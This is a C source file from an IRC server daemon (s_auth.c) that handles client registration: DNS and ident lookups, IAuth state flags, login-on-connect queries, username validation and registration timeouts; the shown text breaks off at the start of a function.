1 /************************************************************************
2 * IRC - Internet Relay Chat, src/s_auth.c
3 * Copyright (C) 1992 Darren Reed
5 * This program is free software; you can redistribute it and/or modify
6 * it under the terms of the GNU General Public License as published by
7 * the Free Software Foundation; either version 1, or (at your option)
10 * This program is distributed in the hope that it will be useful,
11 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 * GNU General Public License for more details.
15 * You should have received a copy of the GNU General Public License
16 * along with this program; if not, write to the Free Software
17 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 * July 6, 1999 - Rewrote most of the code here. When a client connects
21 * to the server and passes initial socket validation checks, it
22 * is owned by this module (auth) which returns it to the rest of the
23 * server when dns and auth queries are finished. Until the client is
24 * released, the server does not know it exists and does not process
25 * any messages from it.
26 * --Bleep Thomas Helvey <tomh@inxpress.net>
28 * December 26, 2005 - Rewrite the flag handling and integrate that with
29 * an IRCnet-style IAuth protocol.
33 * @brief Implementation of DNS and ident lookups.
34 * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
54 #include "msg.h" /* for MAXPARA */
57 #include "querycmds.h"
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79 AR_AUTH_PENDING, /**< ident connecting or waiting for response */
80 AR_DNS_PENDING, /**< dns request sent, waiting for response */
81 AR_CAP_PENDING, /**< in middle of CAP negotiations */
82 AR_LOC_PENDING, /**< LOC reply is awaited */
83 AR_NEEDS_PONG, /**< user has not PONGed */
84 AR_NEEDS_USER, /**< user must send USER command */
85 AR_NEEDS_NICK, /**< user must send NICK command */
86 AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87 AR_IAUTH_PENDING, /**< iauth request sent, waiting for response */
88 AR_IAUTH_HURRY, /**< we told iauth to hurry up */
89 AR_IAUTH_USERNAME, /**< iauth sent a username (preferred or forced) */
90 AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
91 AR_PASSWORD_CHECKED, /**< client password already checked */
92 AR_LOC_SENT, /**< LOC query already sent. */
93 AR_LOC_FORCE, /**< Force kill if LOC failed. */
97 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
99 /** Stores registration state of a client. */
101 struct AuthRequest* next; /**< linked list node ptr */
102 struct AuthRequest* prev; /**< linked list node ptr */
103 struct Client* client; /**< pointer to client struct for request */
104 struct irc_sockaddr local; /**< local endpoint address */
105 struct irc_in_addr original; /**< original client IP address */
106 struct Socket socket; /**< socket descriptor for auth queries */
107 struct Timer timeout; /**< timeout timer for ident and dns queries */
108 struct AuthRequestFlags flags; /**< current state of request */
109 unsigned int cookie; /**< cookie the user must PONG */
110 unsigned short port; /**< client's remote port number */
111 unsigned int numeric; /**< unregistered client numeric */
112 char loc_user[ACCOUNTLEN];
113 char loc_pass[PASSWDLEN];
116 /** Array of message text (with length) pairs for AUTH status
117 * messages. Indexed using #ReportType.
122 } HeaderMessages [] = {
123 #define MSG(STR) { STR, sizeof(STR) - 1 }
124 MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
125 MSG("NOTICE AUTH :*** Found your hostname\r\n"),
126 MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
127 MSG("NOTICE AUTH :*** Checking Ident\r\n"),
128 MSG("NOTICE AUTH :*** Got ident response\r\n"),
129 MSG("NOTICE AUTH :*** No ident response\r\n"),
130 MSG("NOTICE AUTH :*** \r\n"),
131 MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
132 "ignoring hostname.\r\n"),
133 MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
134 MSG("NOTICE AUTH :*** Checking login\r\n"),
135 MSG("NOTICE AUTH :*** Login rejected\r\n"),
136 MSG("NOTICE AUTH :*** Login accepted\r\n"),
140 /** Enum used to index messages in the HeaderMessages[] array. */
156 /** Sends response \a r (from #ReportType) to client \a c. */
157 #define sendheader(c, r) \
158 ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
160 /** Enumeration of IAuth connection flags. */
163 IAUTH_BLOCKED, /**< socket buffer full */
164 IAUTH_CLOSING, /**< candidate to be disposed */
165 /* The following flags are controlled by iauth's "O" options command. */
166 IAUTH_ADDLINFO, /**< Send additional info
167 * (password and username). */
168 IAUTH_FIRST_OPTION = IAUTH_ADDLINFO, /**< First flag that is a policy option. */
169 IAUTH_REQUIRED, /**< IAuth completion required for registration. */
170 IAUTH_TIMEOUT, /**< Refuse new connections if IAuth is behind. */
171 IAUTH_EXTRAWAIT, /**< Give IAuth extra time to answer. */
172 IAUTH_UNDERNET, /**< Enable Undernet extensions. */
173 IAUTH_LAST_FLAG /**< total number of flags */
175 /** Declare a bitset structure indexed by IAuthFlag. */
176 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
178 /** Describes state of an IAuth connection. */
180 struct MsgQ i_sendQ; /**< messages queued to send */
181 struct Socket i_socket; /**< main socket to iauth */
182 struct Socket i_stderr; /**< error socket for iauth */
183 struct IAuthFlags i_flags; /**< connection state/status/flags */
184 uint64_t i_recvB; /**< bytes received */
185 uint64_t i_sendB; /**< bytes sent */
186 time_t started; /**< time that this instance was started */
187 unsigned int i_recvM; /**< messages received */
188 unsigned int i_sendM; /**< messages sent */
189 unsigned int i_count; /**< characters used in i_buffer */
190 unsigned int i_errcount; /**< characters used in i_errbuf */
191 int i_debug; /**< debug level */
192 char i_buffer[BUFSIZE+1]; /**< partial unprocessed line from server */
193 char i_errbuf[BUFSIZE+1]; /**< partial unprocessed error line */
194 char *i_version; /**< iauth version string */
195 struct SLink *i_config; /**< configuration string list */
196 struct SLink *i_stats; /**< statistics string list */
197 char **i_argv; /**< argument list */
200 /** Return whether flag \a flag is set on \a iauth. */
201 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
202 /** Set flag \a flag on \a iauth. */
203 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
204 /** Clear flag \a flag from \a iauth. */
205 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
206 /** Get connected flag for \a iauth. */
207 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
209 /** Return socket event generator for \a iauth. */
210 #define i_socket(iauth) (&(iauth)->i_socket)
211 /** Return stderr socket for \a iauth. */
212 #define i_stderr(iauth) (&(iauth)->i_stderr)
213 /** Return outbound message queue for \a iauth. */
214 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
215 /** Return debug level for \a iauth. */
216 #define i_debug(iauth) ((iauth)->i_debug)
218 /** Active instance of IAuth. */
219 static struct IAuth *iauth;
220 /** Freelist of AuthRequest structures. */
221 static struct AuthRequest *auth_freelist;
222 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
223 static int iauth_required;
225 /** Array of unregistered clients indexed by numeric. */
226 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
228 static void iauth_sock_callback(struct Event *ev);
229 static void iauth_stderr_callback(struct Event *ev);
230 static int sendto_iauth(struct Client *cptr, const char *format, ...);
231 static int preregister_user(struct Client *cptr, signed int stop);
232 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
233 int parc, char **params);
234 static void iauth_disconnect(struct IAuth *iauth);
235 int iauth_do_spawn(struct IAuth *iauth, int automatic);
237 /** Register a new unregistered client numeric.
238 * This numeric is totally independent from the numnicks in numnicks.c.
240 * This numeric is only valid while the user is in the unregistered state.
242 static int auth_set_numnick(struct AuthRequest *auth) {
243 static unsigned int last_uclient = 0;
244 unsigned int count = 0;
246 while(uclient_list[last_uclient]) {
248 if(count == MAXCONNECTIONS) {
249 assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
253 if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
255 uclient_list[last_uclient] = auth;
256 auth->numeric = last_uclient;
257 if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
261 /** Unregisters an unregistered client numeric.
262 * See auth_set_numnick for information.
264 static void auth_unset_numnick(struct AuthRequest *auth) {
265 uclient_list[auth->numeric] = NULL;
269 /** Finds an AuthRequest related to an unregistered client numeric.
270 * See auth_set_numnick for information.
272 static struct AuthRequest *auth_find_numnick(const char *numnick) {
275 num = base64toint(numnick);
276 if(num >= MAXCONNECTIONS) return NULL;
277 return uclient_list[num];
280 /** Sends a LOC query.
281 * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
282 * if one check fails.
284 static signed int auth_loc_send(struct AuthRequest *auth) {
285 struct Client *acptr;
287 const char *host, *ip, *ident, *format;
290 if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
291 FlagHas(&auth->flags, AR_LOC_SENT) ||
292 FlagHas(&auth->flags, AR_DNS_PENDING) ||
293 FlagHas(&auth->flags, AR_NEEDS_USER) ||
294 FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
296 inttobase64(buf, auth->numeric, 3);
299 host = cli_sockhost(auth->client);
300 if(!host || !*host) host = NULL;
301 ip = cli_sock_ip(auth->client);
302 if(IsIdented(auth->client))
303 ident = cli_username(auth->client);
305 ident = cli_user(auth->client)->username;
307 if(!ident || !*ident) ident = "unknown";
309 if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
310 if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
311 else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
312 else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
313 else format = "%C LQ !%s%s %s %s%s ~%s :%s";
315 sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
316 cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
317 ident, auth->loc_pass);
318 FlagSet(&auth->flags, AR_LOC_SENT);
321 sendheader(auth->client, REPORT_FAIL_LOC);
322 FlagClr(&auth->flags, AR_LOC_PENDING);
323 if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
324 exit_client(auth->client, auth->client, &me, "LOC Failed");
331 /** Set username for user associated with \a auth.
332 * @param[in] auth Client authorization request to work on.
333 * @return Zero if client is kept, CPTR_KILLED if client rejected.
335 static int auth_set_username(struct AuthRequest *auth)
337 struct Client *sptr = auth->client;
338 struct User *user = cli_user(sptr);
347 if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
349 ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
353 /* Copy username from source to destination. Since they may be the
354 * same, and we may prefix with a '~', use a buffer character (ch)
355 * to hold the next character to copy.
357 s = IsIdented(sptr) ? cli_username(sptr) : user->username;
360 if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
365 while (last && !IsCntrl(last) && rlen--)
368 *d++ = IsUserChar(last) ? last : '_';
369 last = (ch != '~') ? ch : '_';
374 /* If username is empty or just ~, reject. */
375 if ((user->username[0] == '\0')
376 || ((user->username[0] == '~') && (user->username[1] == '\0')))
377 return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
379 /* Check for K- or G-line. */
380 killreason = find_kill(sptr);
382 ServerStats->is_ref++;
383 return exit_client(sptr, sptr, &me,
384 (killreason == -1 ? "K-lined" : "G-lined"));
387 if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
390 for(i = 0; user->username[i]; ++i) {
391 if(user->username[i] > 126 || user->username[i] < 1) goto badid;
396 /* Check for mixed case usernames, meaning probably hacked. Jon2 3-94
397 * Explanations of rules moved to where it is checked Entrope 2-06
399 s = d = user->username + (user->username[0] == '~');
408 else if (IsUpper(ch))
411 /* Accept caps as leading if we haven't seen lower case or digits yet. */
412 if ((leadcaps || pos == 0) && !lower && !digits)
415 else if (IsDigit(ch))
418 if (pos == 0 || !IsDigit(last))
421 /* If more than two groups of digits, reject. */
426 else if (ch == '-' || ch == '_' || ch == '.')
429 /* If -_. exist at start, consecutively, or more than twice, reject. */
430 if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
433 else /* All other punctuation is rejected. */
437 /* If mixed case, first must be capital, but no more than three;
438 * but if three capitals, they must all be leading. */
439 if (lower && upper && (!leadcaps || leadcaps > 3 ||
440 (upper > 2 && upper > leadcaps)))
442 /* If two different groups of digits, one must be either at the
444 if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
446 /* Must have at least one letter. */
447 if (!lower && !upper)
449 /* Final character must not be punctuation. */
458 /* If we confirmed their username, and it is what they claimed,
460 if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
463 ServerStats->is_ref++;
464 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
465 ":Your username is invalid.");
466 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
467 ":Connect with your real username, in lowercase.");
468 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
469 ":If your mail address were foo@bar.com, your username "
471 return exit_client(sptr, sptr, &me, "USER: Bad username");
474 /** Check whether an authorization request is complete.
475 * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
476 * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state. If
477 * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
478 * destroy \a auth, clear the password, set the username, and register
480 * @param[in] auth Authorization request to check.
481 * @return Zero if client is kept, CPTR_KILLED if client rejected.
483 static int check_auth_finished(struct AuthRequest *auth)
485 enum AuthRequestFlag flag;
488 /* Check whether to send LOC query. */
489 if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
490 !FlagHas(&auth->flags, AR_LOC_SENT) &&
491 !FlagHas(&auth->flags, AR_DNS_PENDING) &&
492 !FlagHas(&auth->flags, AR_NEEDS_USER) &&
493 !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
494 if(!auth_loc_send(auth)) return CPTR_KILLED;
498 /* Check non-iauth registration blocking flags. */
499 for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
500 if (FlagHas(&auth->flags, flag))
502 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
503 cli_fd(auth->client), flag));
507 /* If appropriate, do preliminary assignment to connection class. */
508 if (IsUserPort(auth->client)
509 && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
510 && preregister_user(auth->client, 1))
513 /* Check if iauth is done. */
514 if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
516 /* Switch auth request to hurry-up state. */
517 if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
519 /* Set "hurry" flag in auth request. */
520 FlagSet(&auth->flags, AR_IAUTH_HURRY);
522 /* If iauth wants it, send notification. */
523 if (IAuthHas(iauth, IAUTH_UNDERNET))
524 sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
526 /* If iauth wants it, give client more time. */
527 if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
528 cli_firsttime(auth->client) = CurrentTime;
531 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
532 cli_fd(auth->client), AR_IAUTH_PENDING));
536 FlagSet(&auth->flags, AR_IAUTH_HURRY);
538 /* Class assignment is done after IAUTH is done. */
539 if (IsUserPort(auth->client)) {
540 if(preregister_user(auth->client, 0))
543 if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
544 struct ConfItem *aconf;
545 aconf = cli_confs(auth->client)->value.aconf;
547 && !EmptyString(aconf->passwd)
548 && strcmp(cli_passwd(auth->client), aconf->passwd))
550 ServerStats->is_ref++;
551 send_reply(auth->client, ERR_PASSWDMISMATCH);
552 return exit_client(auth->client, auth->client, &me, "Bad Password");
554 FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
558 if (IsUserPort(auth->client))
560 memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
561 res = auth_set_username(auth);
563 res = register_user(auth->client, auth->client);
568 destroy_auth_request(auth);
572 /** Verify that a hostname is valid, i.e., only contains characters
573 * valid for a hostname and that a hostname is not too long.
574 * @param host Hostname to check.
575 * @param maxlen Maximum length of hostname, not including NUL terminator.
576 * @return Non-zero if the hostname is valid.
579 auth_verify_hostname(const char *host, int maxlen)
583 /* Walk through the host name */
584 for (i = 0; host[i]; i++)
585 /* If it's not a hostname character or if it's too long, return false */
586 if (!IsHostChar(host[i]) || i >= maxlen)
589 return 1; /* it's a valid hostname */
592 /** Check whether a client already has a CONF_CLIENT configuration
595 * @return A pointer to the client's first CONF_CLIENT, or NULL if
598 static struct ConfItem *find_conf_client(struct Client *cptr)
602 for (list = cli_confs(cptr); list != NULL; list = list->next) {
603 struct ConfItem *aconf;
604 aconf = list->value.aconf;
605 if (aconf->status & CONF_CLIENT)
612 /** Assign a client to a connection class.
613 * @param[in] cptr Client to assign to a class.
614 * @return Zero if client is kept, CPTR_KILLED if rejected.
616 static int preregister_user(struct Client *cptr, signed int stop)
618 static time_t last_too_many1;
619 static time_t last_too_many2;
621 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
622 ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
624 if(find_conf_client(cptr) || stop) return 0;
626 switch (conf_check_client(cptr))
630 case ACR_NO_AUTHORIZATION:
631 sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
632 get_client_name(cptr, HIDE_IP));
633 ++ServerStats->is_ref;
634 return exit_client(cptr, cptr, &me,
635 "No Authorization - use another server");
636 case ACR_TOO_MANY_IN_CLASS:
637 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
638 "Too many connections in class %s for %s.",
639 get_client_class(cptr),
640 get_client_name(cptr, SHOW_IP));
641 ++ServerStats->is_ref;
642 return exit_client(cptr, cptr, &me,
643 "Sorry, your connection class is full - try "
644 "again later or try another server");
645 case ACR_TOO_MANY_FROM_IP:
646 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
647 "Too many connections from same IP for %s.",
648 get_client_name(cptr, SHOW_IP));
649 ++ServerStats->is_ref;
650 return exit_client(cptr, cptr, &me,
651 "Too many connections from your host");
652 case ACR_ALREADY_AUTHORIZED:
653 /* Can this ever happen? */
655 ++ServerStats->is_ref;
656 IPcheck_connect_fail(cptr);
657 return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
662 /** Send the ident server a query giving "theirport , ourport". The
663 * write is only attempted *once* so it is deemed to be a fail if the
664 * entire write doesn't write all the data given. This shouldn't be a
665 * problem since the socket should have a write buffer far greater
666 * than this message to store it in should problems arise. -avalon
667 * @param[in] auth The request to send.
669 static void send_auth_query(struct AuthRequest* auth)
676 ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
677 auth->port, auth->local.port);
679 if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
680 close(s_fd(&auth->socket));
681 socket_del(&auth->socket);
682 s_fd(&auth->socket) = -1;
683 ++ServerStats->is_abad;
684 if (IsUserPort(auth->client))
685 sendheader(auth->client, REPORT_FAIL_ID);
686 FlagClr(&auth->flags, AR_AUTH_PENDING);
687 check_auth_finished(auth);
691 /** Enum used to index ident reply fields in a human-readable way. */
692 enum IdentReplyFields {
700 /** Parse an ident reply line and extract the userid from it.
701 * @param[in] reply The ident reply line.
702 * @return The userid, or NULL on parse failure.
704 static char* check_ident_reply(char* reply)
708 char* vector[USERID_TOKEN_COUNT];
709 int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
711 if (USERID_TOKEN_COUNT != count)
714 * second token is the reply type
716 token = vector[IDENT_REPLY_TYPE];
717 if (EmptyString(token))
720 while (IsSpace(*token))
723 if (0 != strncmp(token, "USERID", 6))
727 * third token is the os type
729 token = vector[IDENT_OS_TYPE];
730 if (EmptyString(token))
732 while (IsSpace(*token))
736 * Unless "OTHER" is specified as the operating system
737 * type, the server is expected to return the "normal"
738 * user identification of the owner of this connection.
739 * "Normal" in this context may be taken to mean a string
740 * of characters which uniquely identifies the connection
741 * owner such as a user identifier assigned by the system
742 * administrator and used by such user as a mail
743 * identifier, or as the "user" part of a user/password
744 * pair used to gain access to system resources. When an
745 * operating system is specified (e.g., anything but
746 * "OTHER"), the user identifier is expected to be in a
747 * more or less immediately useful form - e.g., something
748 * that could be used as an argument to "finger" or as a
751 if (0 == strncmp(token, "OTHER", 5))
754 * fourth token is the username
756 token = vector[IDENT_INFO];
757 if (EmptyString(token))
759 while (IsSpace(*token))
762 * look for the end of the username, terminators are '\0, @, <SPACE>, :'
764 for (end = token; *end; ++end) {
765 if (IsSpace(*end) || '@' == *end || ':' == *end)
772 /** Read the reply (if any) from the ident server we connected to. We
773 * only give it one shot, if the reply isn't good the first time fail
774 * the authentication entirely. --Bleep
775 * @param[in] auth The request to read.
777 static void read_auth_reply(struct AuthRequest* auth)
782 * rfc1453 sez we MUST accept 512 bytes
784 char buf[BUFSIZE + 1];
787 assert(0 != auth->client);
788 assert(auth == cli_auth(auth->client));
790 if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
792 Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
793 username = check_ident_reply(buf);
794 Debug((DEBUG_INFO, "Username: %s", username));
797 Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
798 close(s_fd(&auth->socket));
799 socket_del(&auth->socket);
800 s_fd(&auth->socket) = -1;
802 if (EmptyString(username)) {
803 if (IsUserPort(auth->client))
804 sendheader(auth->client, REPORT_FAIL_ID);
805 ++ServerStats->is_abad;
807 if (IsUserPort(auth->client))
808 sendheader(auth->client, REPORT_FIN_ID);
809 ++ServerStats->is_asuc;
810 if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
811 ircd_strncpy(cli_username(auth->client), username, USERLEN);
812 SetGotId(auth->client);
814 if (IAuthHas(iauth, IAUTH_UNDERNET))
815 sendto_iauth(auth->client, "u %s", username);
818 FlagClr(&auth->flags, AR_AUTH_PENDING);
819 if(!auth_loc_send(auth)) return;
820 check_auth_finished(auth);
823 /** Handle socket I/O activity.
824 * @param[in] ev A socket event whos associated data is the active
825 * struct AuthRequest.
827 static void auth_sock_callback(struct Event* ev)
829 struct AuthRequest* auth;
831 assert(0 != ev_socket(ev));
832 assert(0 != s_data(ev_socket(ev)));
834 auth = (struct AuthRequest*) s_data(ev_socket(ev));
836 switch (ev_type(ev)) {
837 case ET_DESTROY: /* being destroyed */
840 case ET_CONNECT: /* socket connection completed */
841 Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
842 auth, cli_fd(auth->client)));
843 socket_state(&auth->socket, SS_CONNECTED);
844 send_auth_query(auth);
847 case ET_READ: /* socket is readable */
848 case ET_EOF: /* end of file on socket */
849 case ET_ERROR: /* error on socket */
850 Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
851 read_auth_reply(auth);
855 assert(0 && "Unrecognized event in auth_socket_callback().");
860 /** Stop an auth request completely.
861 * @param[in] auth The struct AuthRequest to cancel.
863 void destroy_auth_request(struct AuthRequest* auth)
865 Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
867 /* Unset numeric nick. */
868 auth_unset_numnick(auth);
870 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
871 delete_resolver_queries(auth);
874 if (-1 < s_fd(&auth->socket)) {
875 close(s_fd(&auth->socket));
876 socket_del(&auth->socket);
877 s_fd(&auth->socket) = -1;
880 if (t_active(&auth->timeout))
881 timer_del(&auth->timeout);
883 cli_auth(auth->client) = NULL;
884 auth->next = auth_freelist;
885 auth_freelist = auth;
888 /** Handle a 'ping' (authorization) timeout for a client.
889 * @param[in] cptr The client whose session authorization has timed out.
890 * @return Zero if client is kept, CPTR_KILLED if client rejected.
892 int auth_ping_timeout(struct Client *cptr)
894 struct AuthRequest *auth;
895 enum AuthRequestFlag flag;
898 auth = cli_auth(cptr);
900 /* Check whether the auth request is gone (more likely, it never
901 * existed, as in an outbound server connection). */
903 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
905 /* If the loc-query is still pending, we stop the query and
906 * register the user if possible.
908 if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
909 FlagClr(&auth->flags, AR_LOC_PENDING);
910 sendheader(auth->client, REPORT_FAIL_LOC);
911 if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
912 ret = check_auth_finished(auth);
913 if (ret != 0) return ret;
914 return exit_client(cptr, cptr, &me, "Registration Timeout");
917 /* Check for a user-controlled timeout. */
918 for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
919 if (FlagHas(&auth->flags, flag)) {
920 /* Display message if they have sent a NICK and a USER but no
923 if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
924 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
925 ":Your client may not be compatible with this server.");
926 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
927 ":Compatible clients are available at %s",
928 feature_str(FEAT_URL_CLIENTS));
930 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
934 /* Check for iauth timeout. */
935 if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
936 if (IAuthHas(iauth, IAUTH_REQUIRED)) {
937 sendheader(cptr, REPORT_FAIL_IAUTH);
938 return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
940 sendto_iauth(cptr, "T");
941 FlagClr(&auth->flags, AR_IAUTH_PENDING);
942 return check_auth_finished(auth);
945 return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
948 /** Timeout a given auth request.
949 * @param[in] ev A timer event whose associated data is the expired
950 * struct AuthRequest.
952 static void auth_timeout_callback(struct Event* ev)
954 struct AuthRequest* auth;
956 assert(0 != ev_timer(ev));
957 assert(0 != t_data(ev_timer(ev)));
959 auth = (struct AuthRequest*) t_data(ev_timer(ev));
961 if (ev_type(ev) == ET_EXPIRE) {
962 /* Report the timeout in the log. */
963 log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
964 get_client_name(auth->client, HIDE_IP));
966 /* Notify client if ident lookup failed. */
967 if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
968 FlagClr(&auth->flags, AR_AUTH_PENDING);
969 if (IsUserPort(auth->client))
970 sendheader(auth->client, REPORT_FAIL_ID);
973 /* Likewise if dns lookup failed. */
974 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
975 FlagClr(&auth->flags, AR_DNS_PENDING);
976 delete_resolver_queries(auth);
977 if (IsUserPort(auth->client))
978 sendheader(auth->client, REPORT_FAIL_DNS);
981 /* Try to register the client. */
982 check_auth_finished(auth);
986 /** Handle a complete DNS lookup. Send the client on it's way to a
987 * connection completion, regardless of success or failure -- unless
988 * there was a mismatch and KILL_IPMISMATCH is set.
989 * @param[in] vptr The pending struct AuthRequest.
990 * @param[in] addr IP address being resolved.
991 * @param[in] h_name Resolved name, or NULL if lookup failed.
993 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
995 struct AuthRequest* auth = (struct AuthRequest*) vptr;
998 FlagClr(&auth->flags, AR_DNS_PENDING);
1000 /* DNS entry was missing for the IP. */
1001 if (IsUserPort(auth->client))
1002 sendheader(auth->client, REPORT_FAIL_DNS);
1003 sendto_iauth(auth->client, "d");
1004 } else if (!irc_in_addr_valid(addr)
1005 || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1006 && irc_in_addr_cmp(&auth->original, addr))) {
1007 /* IP for hostname did not match client's IP. */
1008 sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1009 cli_sock_ip(auth->client), h_name,
1011 if (IsUserPort(auth->client))
1012 sendheader(auth->client, REPORT_IP_MISMATCH);
1013 if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1014 exit_client(auth->client, auth->client, &me, "IP mismatch");
1017 } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1018 /* Hostname did not look valid. */
1019 if (IsUserPort(auth->client))
1020 sendheader(auth->client, REPORT_INVAL_DNS);
1021 sendto_iauth(auth->client, "d");
1023 /* Hostname and mappings checked out. */
1024 if (IsUserPort(auth->client))
1025 sendheader(auth->client, REPORT_FIN_DNS);
1026 ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1027 sendto_iauth(auth->client, "N %s", h_name);
1030 /* The LOC line has to be sent with full hostname. If no hostname could be looked
1031 * up, the IP is sent.
1033 if(!auth_loc_send(auth)) return;
1035 check_auth_finished(auth);
1038 /** Starts a new login-on-connect query. */
1039 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1040 if(!account || !*account) return 1;
1041 if(!pass || !*pass) return 1;
1042 assert(auth != NULL);
1043 if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1045 sendheader(auth->client, REPORT_DO_LOC);
1046 FlagSet(&auth->flags, AR_LOC_PENDING);
1047 if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1048 else FlagClr(&auth->flags, AR_LOC_FORCE);
1049 ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1050 ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
1051 return auth_loc_send(auth);
1054 /** Finishes a LOC request. */
